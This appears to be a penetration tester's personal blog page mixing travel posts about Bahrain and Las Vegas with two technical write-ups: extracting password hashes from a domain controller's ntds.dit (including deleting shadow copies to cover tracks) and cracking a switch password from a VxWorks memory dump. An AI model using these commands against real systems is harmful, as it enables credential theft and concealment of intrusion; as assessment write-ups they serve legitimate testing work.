Eric Walker – Page 4 – I am just here for the Coffee and Donuts!

July 19, 2014December 29, 2019

Heading back to Bahrain for my 3rd Trip

Heading out Monday July 21st to Bahrain for another 45 days of excitement in Bahrain. My company was renting an apartment since last year, but they let the lease lapse, so I will be staying in the Marriott for the stays. Which is fine with me, I like getting the points, and plus it has free breakfast. I guess they are expecting for me to look for another apartment to rent, not sure why the last person who was there did not do this, since he works on the project full time (or is supposed to).

No sure what I will be working on this time around, since I have not been involved with this project since last year when I was there. Have had little information given to me from the director of this project, and the employees assigned to the director of this project have been little help giving me information.

Did not really want to head back, but my boss sort of gave me a “you do not really have an option” speech. I was supposed to heading to Defcon during this time frame and told him I would prefer to that that then to Bahrain. I was then told that was not a good reason to not go on the trip, and something like “I cannot justify you going to training instead of this trip” or something similar to that. This did not really make me happy, and they originally wanted me to go for 90 days, but I had to do military duty so I could only squeeze in the 45 days to go (well that is what I told them). Not like they could really argue about me not being able to go, since it is the federal government and all.

I was surprised that they were expecting me to cover this time frame for the project, but it seems that one of the two people they hired does not want to go back over there anymore. I was a little pissed about that, and think they need to fire him since he was specifically hired to do this project. Sure that will not happen, since they have him doing training for Alien Vault software occasionally.

This is partly one reason I started researching penetration testing companies. Have found a few I like, but not sure if I will be looking for a new place to work just yet. Need to see if they are expecting me to make more trips back to Bahrain. I already told my director that I would not be heading back over already, so to not even ask me about it.

July 1, 2014December 29, 2019

Pentesting Companies – Praetorian

I have been researching a few pentesting companies over the past few months, just to compare my current employer to others. I am happy at my current employer, I enjoy what I do, and most of the people I work with. I am just curious what other companies do for their employees, and what they require from them.

Through my research I noticed that many of them give fairly good benefits, and seem to have a relaxed work environment.

I was surprised that several require their employees to speak at conferences, write white-papers, and do research. While I am not against any of this, I am wondering how they would have time to accomplish any of this. I am booked solid usually weeks on end, with maybe a day or less of down time a month. Many also require 25% or more travel, which I am not opposed to either, but I generally do most of my assessments remotely. I have complained to my boss that we do not travel to customers enough. I prefer to do some face-to-face conversations with my customers to get a better understanding of their needs. Plus it makes it easier to social engineer information from someone.

I was fairly impressed with Praetorian who is head quarters are in Austin, TX. They seem to have some very skilled and knowledgable consultants, who are involved in the security community and open-source projects. They seem to be involved with the local college (University of Texas), having career expos at UT. They also have some small puzzles that you can try to work. I will have to try these when I get some spare time.

A Job Posting for a “Senior Security Consultant (Software)”

Qualifications: Successful candidates should have:

2-5 years of information security experience
1-2 years of consulting experience
Strong understanding of software and application security
Experience with languages such as C, C++, Java, .NET, Ruby, and Python
Strong oral and written communication skills
Involvement in software community via OWASP, WASC, and/or open source development highly desirable
Track record speaking at major security conferences such as OWASP Appsec, SANS Appsec, and Blackhat highly desirable
Ability to travel 10% of the time
Minimum 4-Year Bachelor of Science Degree in Computer Science, Engineering, or equivalent from a “top ten” institution.

While the travel is a lot less than many of the other companies, they require a person who is good a public speaking at large conferences and is involved in the security community.

Well I guess if I wanted to go and work for them, I need to start speaking at conferences and get more involved in the security community. Not really going back to college to get a degree from a “Top Ten” institution unless some one else is willing to pay for it.

January 1, 2014

Getting Hashes from NTDS.dit file

Read a writeup from @Mubix about doing this and noticed that some changes had come to the NTDSxtract software which made things a little easier, so I decided to do a write up on on the two versions

Why do you want to do this anyways?
The reason you would want to pull the ntds.dit file from a Domain Controller after you have compromised it is because you do not want to create a new Domain Administrator account (could set off alerts) and need password hashes; or you need a password for another account to access data you want (ie. SQL Server accounts).

Get the ntds.dit and SYSTEM from Volume Shadow Copy on a Domain Controller

1. Vssadmin tool

1.1 List Volume Shadow Copies on the system:

Example: ‘vssadmin list shadows’ no Shadows Available

C:>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line too
(C) Copyright 2001 Microsoft Corp.
No items found that satisfy the query.

1.2. Create a new Volume Shadow Copy of the current drive:

Example: ‘vssadmin create shadow’ copy:

C:>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for ‘c:’
Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
Shadow Copy Volume Name: \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

2. Pull files from the Volume Shadow copy

copy \?GLOBALROOTDevice<SHADOWYCOPY DISK>windows<directory><File> <where to put file>

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowsntdsntds.dit .
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSYSTEM .
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSAM .

[X] Refers to the shadow copy number, in the examples above the latest versions is HarddiskVolumeShadowCopy1 (there could be multiple copies, use the last one listed)

I would also recommend getting a current copy of SYSTEM from the registry just in case.

reg SAVE HKLM/SYSTEM c:SYS

I have had a couple times where the SYSTEM file from the shadow copy was corrupt.

3. Delete the shadows to cover your tracks:

vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]

vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

4. Optional VSSOwn Script to help with this task:

http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs

5. Now that you have the files, it is time to get the hashes

5.1 Utilities needed:

libesedb
ntdsxtract

5.2 libesedb

https://code.google.com/p/libesedb/
http://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

Extract the files

# tar -xzvf libesedb-alpha-20120102.tar.gz

Compile/make libesedb

# cd libesedb-20120102
# ./configure
# make

Need to move this somewhere like ‘/usr/local/’

# mv esedbtools/ /usr/local
# cd esedbtools/

esedbexport usage:

Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
[ -T table_name ] [ -hvV ] source
source: the source file
-c:     codepage of ASCII strings, options: ascii, windows-874,
windows-932, windows-936, windows-1250, windows-1251,
windows-1252 (default), windows-1253, windows-1254
windows-1255, windows-1256, windows-1257 or windows-1258
-h:     shows this help
-l:     logs information about the exported items
-m:     export mode, option: all, tables (default)
'all' exports all the tables or a single specified table with indexes,
'tables' exports all the tables or a single specified table
-t:     specify the basename of the target directory to export to
(default is the source filename) esedbexport will add the suffix
.export to the basename
-T:     exports only a specific table
-v:     verbose output to stderr
-V:     print version

Run esedbexport to extract ntds.dit data :

./esedbexport  -t  <Directory to export data to(will add .export to the end)> <ntds.dit file>

# ./esedbexport  -t ~/ntds ~/ntds.dit
esedbexport 20120102
Opening file.

Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (link_table) out of 11.
Exporting table 6 (hiddentable) out of 11.
Exporting table 7 (sdproptable) out of 11.
Exporting table 8 (sd_table) out of 11.
Exporting table 9 (quota_table) out of 11.
Exporting table 10 (quota_rebuild_progress_table) out of 11.
Exporting table 11 (MSysDefrag1) out of 11.
Export completed.

Extracted files:

# ls ~/ntdis.export/
MSysObjects.0
MSysObjectsShadow.1
MSysUnicodeFixupVer1.2
datatable.3
link_table.4
hiddentable.5
sdproptable.6
sd_table.7
quota_table.8
quota_rebuild_progress_table.9
MSysDefrag1.10

5.3 NTDSXtract:

http://www.ntdsxtract.com/
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip

# unzip ntdsxtract_v1_0.zip
# cd NTDSXtract 1.0/

To update to the new 1.2 Beta version unzip the contents in side the “NTDSXtract 1.0”
(You might want to rename the directory to just NTDSXtract)

# unzip ntdsxtract_v1_2_beta.zip

Usage for dsuser.py (Version 1.0 and 1.2 Beta)

Ver 1.0

 # python dsusers.py
 DSUsers
 Extracts information related to user objects
 usage: dsusers.py <datatable> <linktable> [option]
 options:
 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
 --passwordhashes <system hive>
 Extract password hashes
 --passwordhistory <system hive>
 Extract password history
 --certificates
 Extract certificates
 --supplcreds <system hive>
 Extract kerberos keys
 --membership
 List groups of which the user is a member

Ver 1.2

 # python ../NTDSXtract 1.0/dsusers.py 
 DSUsers v1.2
 Extracts information related to user objects
 usage: ../NTDSXtract 1.0/dsusers.py <datatable> <linktable> <work directory> [option]
 datatable
 The path to the file called datatable extracted by esedbexport
   linktable
 The path to the file called linktable extracted by esedbexport
 work directory
 The path to the directory where ntdsxtract should store its
 cache files and output files. If the directory does not exist
 it will be created.

 options:
 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
     --syshive <path to system hive>
 Required for password hash and history extraction
 This option should be specified before the password hash
 and password history extraction options!
 --lmoutfile    <name of the LM hash output file>
 --ntoutfile      <name of the NT hash output file>
 --pwdformat  <format of the hash output>
 ophc - OphCrack format
 When this format is specified the NT output file will be used
 john - John The Ripper format
 --passwordhashes
 Extract password hashes
     --passwordhistory
 Extract password history
 --certificates
 Extract certificates
 --supplcreds
 Extract kerberos keys
 --membership
 List groups of which the user is a member
 --csvoutfile <name of the CSV output file>
The filename of the csv file to which ntdsxtract should write the output

Extract user info:

Ver 1.0

# python dsusers.py ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 --passwordhashes ~/sys --passwordhistory ../sys
Running with options:
Extracting password hashes
Extracting password history
Initialising engine...
Scanning database - 100% -> 40933 records processed
Extracting schema information - 100% -> 4142 records processed
Extracting object links...

List of users:
==============
Record ID:           1815
User name:           Administrator
User principal name: Administrator@DOMAIN
SAM Account name:    Administrator
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 3543ea4c-f755-4758-97c0-3d63dffc96ad
SID:  S-1-5-21-657512695-1375287660-316888650-500
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 16:10:29
Account expires:      Never
Password last set:    2006-08-22 11:53:34.828125
Last logon:           2013-10-03 19:11:25.366397
Last logon timestamp: 2013-09-30 10:43:09.479359
Bad password time     2013-10-03 17:36:20.168265
Logon count:          65535
Bad password count:   0
User Account Control:
NORMAL_ACCOUNT
PWD Never Expires
Ancestors:
$ROOT_OBJECT$ priv DOMAIN main Domain Admins Administrator
Password hashes:
    Administrator:$NT$0817033191709a45c93baa986d933d0e:::
Password history:
    Administrator_nthistory0:$NT$0817033191709a45c93baa986d933d0e:::
    Administrator_nthistory1:$NT$70aa17fabbaf3b0511f430844c6de431:::
    Administrator_lmhistory0:f8eab0fa471aff3edab057c59e5d0aa5:::
Record ID:           1816
User name:           Guest
User principal name:
SAM Account name:    Guest
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 2e792141-c4be-43b2-a4f5-079e5d05e184
SID:  S-1-5-21-657512695-1375287660-316888650-501
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 15:19:28
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2013-10-03 18:18:45.096975
Logon count:          0
Bad password count:   1
User Account Control:
Disabled
PWD Not Required
NORMAL_ACCOUNT
PWD Never Expires
Ancestors:
$ROOT_OBJECT$ priv DOMAIN main Users Guest
Password hashes:
Password history:

….(Continues for each Account)….

Ver 1.2 (Output in JTR Format)

python dsusers.py ~/ntds.export/datatable.3  ~/ntds.export/link_table.4 ~/TEMP  --passwordhashes --passwordhistory --lmoutfile LM.out --ntoutfile NT.out --pwdformat john --syshive ~/SYSTEM

List of users:
==============
Record ID:           32777
User name:           joe smith
User principal name: email@address.net
SAM Account name:    jsmith
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 14c15e2a-8f7c-4404-a63c-cb6a4c689c00
SID:  S-1-5-21-349701255-3731294407-2303513147-3800
When created:         2005-06-01 13:50:37
When changed:         2013-12-12 15:08:12
Account expires:      Never
Password last set:    2013-10-07 13:20:19.146593
Last logon:           2013-12-11 18:35:10.166785
Last logon timestamp: 2013-12-12 15:08:12.281517
Bad password time     2013-12-11 00:04:52.446209
Logon count:          6239
Bad password count:   0
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT_OBJECT$ local DOMAIN JOB Users joe smith
Password hashes:
name:$NT$2e8fc4b95229a6ea67b1f69d04ee4000:::
name:e4c2436ddd1f655c6eedd0fa5525f000:::

….(Continues for each Account)….

Version 1.2 allows you to extract the hashes into two files, one for LM hashes the other for NT hashes, and currently supports two hash output types; Ophcrack and John.

December 4, 2013

VxWorks Memory Dump

While running an internal vulnerability scan I noticed that one of the devices was showing vulnerable to VxWorks Memory Dump.

This is exploitable by using the Metasploit wdbrpc_memory_dump module, so I fired it up and loaded the module to see if I could pull the memory from this device.

I run the exploit against the system and it began dumping the memory, and it got to about 31% before stopping, so I had to restart it from the OFFSET value it stopped at. This happened 3 more times before it finished. The output file was about 256MB in size, so I was not sure if it had good information from the system or just crap.

Being that it was a hex dump of the memory, I ran strings against the file to get a list of information and look for possible information to use. I put the output into another file to search through with “grep”.

#strings vxworks_memory.dmp > strings.memory.dmp

I was able to determine that it was a network switch from viewing the IP address on port 80 (looked back at Nessus to see what ports where open and what it thought the device was), so I decided to search for words like “password”, “enable”, and “encryption”.

At first nothing showed up that was any good or valuable to use, so I decided to search for partial words, like “assw”, “able” and “crypt” to see if the words had been split across lines in the memory dump.

#cat strings.memory.dmp | grep -i assw

#cat strings.memory.dmp | grep -i crypt

I discovered that the enable hash was in the dump, so I guessed that the password could also be stored in there as well.

Taking the new file from the strings output (strings.memory.dmp), I ran it through “sort” with the unique flag and output that into another file to use as my password list starting point.

#cat strings.memory.dmp | sort –u > passlist.list

With new list of possible passwords, and hoping that one copy of it was completely intact and not split across a line. I ran it through PW-Inspector to narrow it down to a more manageable number and realistic passwords and an actual realistic length.

#pw-inspector –I passlist.list –o passlist.uniq.list –lunps –m 8 –M 16

Now that I had narrowed the password list down to a more manageable solution, I ran John against the hash with the shorter list.

In no time at all I had the password for the hash, the switch was not Cisco and was only using an MD5 hash, which made it rather simple to crack.

Now that I had the password, I needed to search for a user name. So I started searching for common names in the file, and admin came back multiple times with the word user next to it, so with a little searching on Google, I discovered that admin was the default user on this switch.

From there I tried to SSH to the switch, but was denied due to the use of private keys and not passwords for SSH, so I tried telnet to connect to the switch and was able to login.

From there I had access to see all of the other VLANS, and IP address space that I did not have access to before. Now time to see where else the password is used.

July 23, 2013

Fun times during NVA/PT assessments over the past 3 months

Some fun things I have had to deal with during some NVA/PT assessments for customers over the past 3 months.

You begin scanning 5 hosts and the customers switch rolls over, everything stops responding, and the customer calls you asking what you did.

I enjoy customers that leave usernames and passwords for critical systems on a web page with unauthenticated access, and they say that it is not a security vulnerability.

You find access to a customers Github.com site and your boss tells you to not explore the site and only report that you had access to login, since the site was not in scope.

You report a finding that you found last year for the same customer, and it allows you complete access to the server.

You find default access to a website that controls the customers network switches, UPS, and other main pieces of their infrastructure, and the customer says he is not worried about.

You find systems that are missing patches from 2004, and the customer tells you that it is not critical. You tell them to remove it from the network, and they tell you they need it for some other system that is important.

I am sure I will have more to come in the next few months, since my boss is stacking up assessments like they are going out of style, and we are still trying to hire a new pentester.

April 29, 2013

2nd Bahrain Trip

Well I had to go back to Bahrain to work for another 5 weeks, was really not wanting to go, but I had already committed to the trip with the first 7 week trip that I did. Had a lot of stuff that needed me to be home, but luckily my wife was able to handel it in my absence.

The demonstrations were a lot lighter this trip, and I actually only saw a few burning tires (the burning remnants only). There were plenty of police and military vehicles everywhere, which might have been the reason for the fewer incidents.

Since I have already visited almost the entire Island, I did not venture out as much this trip. Went to the souq (open air market) only a few times just to see if anything new was being sold. Nothing really new, just the same stuff as before, I did pickup a few trinkets for the boys, and some jewelry for my wife.

I received a ticket to attend the Bahrain Formula 1 Grand Prix, which was an awesome event, it lasted 3 days. There were qualification runs the first two days, and some races by the smaller cars. Had some cars from the Formula Middle East, and Grand Prix 2 race a couple smaller runs. The last day was the actual race for the Formula 1, and it was followed up with a concert from Ne-yo. I would definitely recommend that if you are in Bahrain in April, this would be a must do.

My time flied this trip, and I am glad to be home. I will miss some of the friends that I have made while spending time over there, but I really started to miss the family.

March 19, 2013

My First Vegas Trip

Vegas for my birthday!

My twin sister decided my wife and I needed to meet her and her husband in Las Vegas for our birthday, and have a long weekend enjoying the place.

While I like to travel, and this being my first trip to Vegas, I can say that it is not on my top list of places to visit. There are several issues I have with Vegas, all are just personal preferences about what I like to do, see and not be subjected to.

List of things I do not like about Vegas:

Cigarette smoke (I cannot stand having to walk through the casino floor)
Being around drunk people (generally they act really stupid and annoying)
large crowds (especially when many of them are drunk and acting stupid)
Someone trying to hand me something all the time (I really do not want to go to the strip club)
People asking if I want to see a show about every 10 feet. (If I wanted to see a show I would purchase some tickets)
I am not a gambler (I can waste my money on better things)
(If I did gamble I could not stand being in a smoke filled room doing it)

I did enjoy some parts of Vegas, but there are many I cannot stand.

There are a lot of neat things to see in Vegas, some interesting shows to watch (most are way over priced), and the hotels have very elaborate themes.

List of things I did like about Vegas:

The hotel decor (Cesar Palace, The Belagio, The Venetian, etc…)
The wide selection of places to eat (ones that I have not been to before)
Visiting Hoover Dam (which was probably the most exciting part of the whole trip)(I know it is not in Vegas)
The shops/stores (mainly ones that we do not have locally)

The Hotel:

I was not impressed with the NY NY hotel, I think it is overpriced, and the accommodations are lacking. It is no better that staying in a Holiday Inn Express except it costs more.

You are charged a 20 per day resort fee, which makes the seemingly decent price for the room, not worth the stay. your $79 room turns into a $110 room after fees and taxes.

The food selection in the hotel was very lacking, and not really New York-ish, sure it had Nathans Hot dogs, a pizza place, an Irish Bar. It did not have a deli sandwich shop, coffee carts, and many other things you would really associate with New York.

Well enough complaining about Las Vegas, some people seem to really enjoy it, and I guess other can careless about the place. So if you like Vegas, go and have your fun, but I will be going somewhere else.

February 25, 2013

Living in Bahrain for 50 days

Well I have been living in Bahrain for about 50 days now, and I am ready to head back to the United States. It is a little different living over here, most of the people are very nice, many cannot drive let alone stay in any lane on the road. Many drivers like to honk their horns; which can get a little annoying at times, especially when the light is just about to turn green and just incase you had not noticed that it was turning green they wanted to let you know by honking their horn. I have learned that if you can drive on it people will, no matter if it is the road or not, shoulders are almost like an extra lane for many people, even the dirt along the road can become an extension of the road for many people. I have seen a 3 lane road turn into a 5 lane road, with people all over the place, and as close to each other as possible with out hitting one another.

The dust in the air is awful at times and my eyes have been red the entire time I have been here, and my nose has been stopped up as well on several occasions. The weather has been fairly nice, compared to Knoxville Tennessee, which it has been snowing and raining there.

Have not had too many problems finding something to eat, there are dozens of American restaurants here. There is even a street referred to as American Alley (next to the Navy Base) and another called Shawarma Alley due to the multiple ( I believe 4) food stands located to each other on the small road.

McDonalds
Hardees
KFC
Pizza Hut
Papa Johns
Burger King
Subway
Polo Campero
PotBelly sandwiches
Fatburger
Fuddruckers
Chilis
Bennigans
Carrinos
Hard Rock Cafe
TGIFridays
Gloria Jeans
Starbucks
Aunt Annie
Baskin Robins
Cold Stone Creamery

There are probably places I am forgetting but these are the ones I have seen an can remember at the present time. I was actually surprised at the amount of American food places to eat at. Plus they all seem to have delivery which is usually guys on motorcycles and a box attached to the back of the bike.

Chili’s Delivery driver, would love to have this back home, getting chips and salsa delivered would be awsome.

There is a large Police and Military presence around town, and at times there are demonstrations.

Police and Military parked along the road all over the place.

Small demonstration I ran into driving down the road one day. police where shooting tear gas, demonstrators throwing rocks.

All in all it has been a decent trip, seen many interesting places, and people, but it is time to head home. The prices are not any cheaper like many people have told me they would be, in some cases they are the same or a little higher. It does seem to be cheaper due to the prices but when 1 Dinar is equal to 2.5624 US Dollars, that 5 Dinar item is actually 13.26 USD. I can get a Big Mac combo meal (small drink and fries) for 1.500BHD which is $3.98 USD a little cheaper than the US prices I believe, but the drink and fry sizes are smaller portions which would make up the difference in price.

Purchasing local items can be fairly cheap, but anything that is shipped in from other countries, is generally not cheaper. Purchasing Kraft cheese compared to local cheese is about double the price in some cases.

Many of the local shops (not grocery stores, or food places) expect you to haggle with them over prices of some items, so they will give you a high price when you ask. You have to know the value of the item before hand to get a good price, which is not always easy to do. Places near the Navy base, or other Expat areas are generally going to try to get you to pay more than it is worth, because they know you will pay it.

Picked up some snack to bring back with me, samboosa, mahtai, and some Fisthakiya.

Picked up a few items for my oldest son who is getting into cooking for his friends, and himself. He can cook an Indian style meal for his friends to try.

Picked up a few smal rugs for family and friends as gifts, they were 3BHD a piece or about $8.00 USD, they are about 12’x12′ in size, and are all hand made locally .

Spent a lot of time traveling around to all of the shop areas, and looking at all of the different items that are for sale, many are fakes of original items, or cheap knock offs. Some items are cheap tourst items, that they try to sell for a premium. There are many shops located all over the city, and can be as small as a single room or as large as a full department store. You name it you can probably find it here, not sure if it will be an original version of what you are looking for but you can find at least a fake version of it.

I have picked up enough items to fill a full size suitcase, and had to purchase a small duffle bag to bring items back with me to the US. I am hoping I have not gone over my $800 limit of tax free items, or I will have to pay tax on anything over the amount. Will have to check my total count of money spent and make sure I am not over. Since I have a 7 hour layover in Amsterdam I am sure I will find some more items there that I want to pick up for the family.

Well getting ready to head home, for a few weeks of relaxation, and some normalcy, then back over here for another 35 days of fun.

January 10, 2013

50 days in Bahrain

My work in sending me to Bahrain for 50 days (90 total days) to work, my project will be split up into to parts. I will be onsite working for the first 50 days and then be back for the other 40 days, to finish up working.

I plan on keeping a daily log of my events, not sure what access to the internet I will have, and what I should post while I am in country. I have heard that they country limits certain activities and websites from being viewed.

I have been following several new sites, and have signed up for the US Embassy feeds, along with continually watching the US Navy 5th Fleet site to see what is happening in country.

I have a nice long flight, starting on January 9th leaving McGhee Tyson heading to Detroit, have a 1:30 layover before heading to Amsterdam. Flying in Economy Plus, because my company is too cheap to get me Business class. The flight is supposed to be about 8 hours long, and then a 4 hour layover in Amsterdam before my 8 hour flight to Bahrain, with a stop in Abu Badui.